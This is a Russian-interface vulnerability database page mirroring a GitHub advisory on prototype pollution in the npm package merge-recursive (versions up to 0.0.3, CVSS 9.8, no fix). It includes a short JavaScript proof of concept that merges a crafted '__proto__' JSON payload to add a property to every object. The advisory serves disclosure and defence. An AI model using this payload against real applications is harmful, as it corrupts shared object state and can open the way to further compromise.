Логотип exploitDog
Консоль
Логотип exploitDog

exploitDog

github логотип

GHSA-cvxm-f295-x957

Опубликовано: 18 сент. 2018
Источник: github
Github: Прошло ревью
CVSS3: 9.8

Описание

Prototype Pollution in merge-recursive

All versions of merge-recursive are vulnerable to Prototype Pollution. When malicious user input is merged with another object it allows the attacker to modify the prototype of Object via __proto__ causing the addition or modification of an existing property.

Proof of concept:

var merge = require('merge-recursive').recursive; var malicious_payload = '{"__proto__":{"oops":"It works !"}}'; var a = {}; console.log("Before : " + a.oops); merge({}, JSON.parse(malicious_payload)); console.log("After : " + a.oops);

Recommendation

There is currently no fix available.

Пакеты

Наименование

merge-recursive

npm
Затронутые версииВерсия исправления

<= 0.0.3

Отсутствует

EPSS

Процентиль: 54%
0.00315
Низкий

9.8 Critical

CVSS3

Дефекты

CWE-20

Связанные уязвимости

CVSS3: 9.8
nvd
больше 7 лет назад

The utilities function in all versions <= 0.3.0 of the merge-recursive node module can be tricked into modifying the prototype of Object when the attacker can control part of the structure passed to this function. This can let an attacker add or modify existing properties that will exist on all objects.

EPSS

Процентиль: 54%
0.00315
Низкий

9.8 Critical

CVSS3

Дефекты

CWE-20